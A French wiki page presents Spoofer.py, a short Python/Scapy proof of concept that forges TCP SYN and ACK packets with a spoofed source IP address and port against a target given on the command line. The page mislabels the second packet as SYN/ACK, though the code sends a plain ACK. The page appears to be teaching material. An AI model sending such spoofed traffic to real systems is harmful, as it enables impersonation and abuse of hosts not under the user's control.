Spoofer.py

De wiki.nexiat.fr
Aller à la navigation Aller à la recherche
Fiche express
Domaine Sécurité offensive — forge de paquets / spoofing
Type Script Python 2 (proof of concept)
Module scapy
Voir aussi Scapy · Test de penetration

Spoofer.py forge des paquets TCP avec Scapy en usurpant (spoofing) l'adresse IP et le port source, afin d'illustrer les échanges d'une poignée de main TCP (SYN, puis SYN/ACK) avec des champs source falsifiés.

Usage

./Spoofer.py Cible-IP Cible-tcp-port Fake-IP Fake-TCP-port

Script

#!/usr/bin/env python

import sys
from scapy.all import *

# utilisation :
# ./Spoofer.py Cible-IP Cible-tcp-port Fake-IP Fake-TCP-port

# création du paquet IP (source usurpée)
ip = IP(dst=sys.argv[1], src=sys.argv[3])

# création du paquet TCP SYN
SYN = TCP(dport=int(sys.argv[2]), sport=int(sys.argv[4]), flags="S")

# envoi du paquet SYN
paquet = sr1(ip / SYN)

# calcul du prochain ACK
prochainACK = paquet.seq + 1

# création du paquet TCP SYN/ACK
SYNACK = TCP(dport=int(sys.argv[2]), sport=int(sys.argv[4]), flags="A", ack=prochainACK, seq=1)
paquet2 = sr1(ip / SYNACK)

Correction apportée : la source utilisait srl(...) (coquille) là où l'envoi/réception d'un paquet unique avec Scapy est sr1(...).

Voir aussi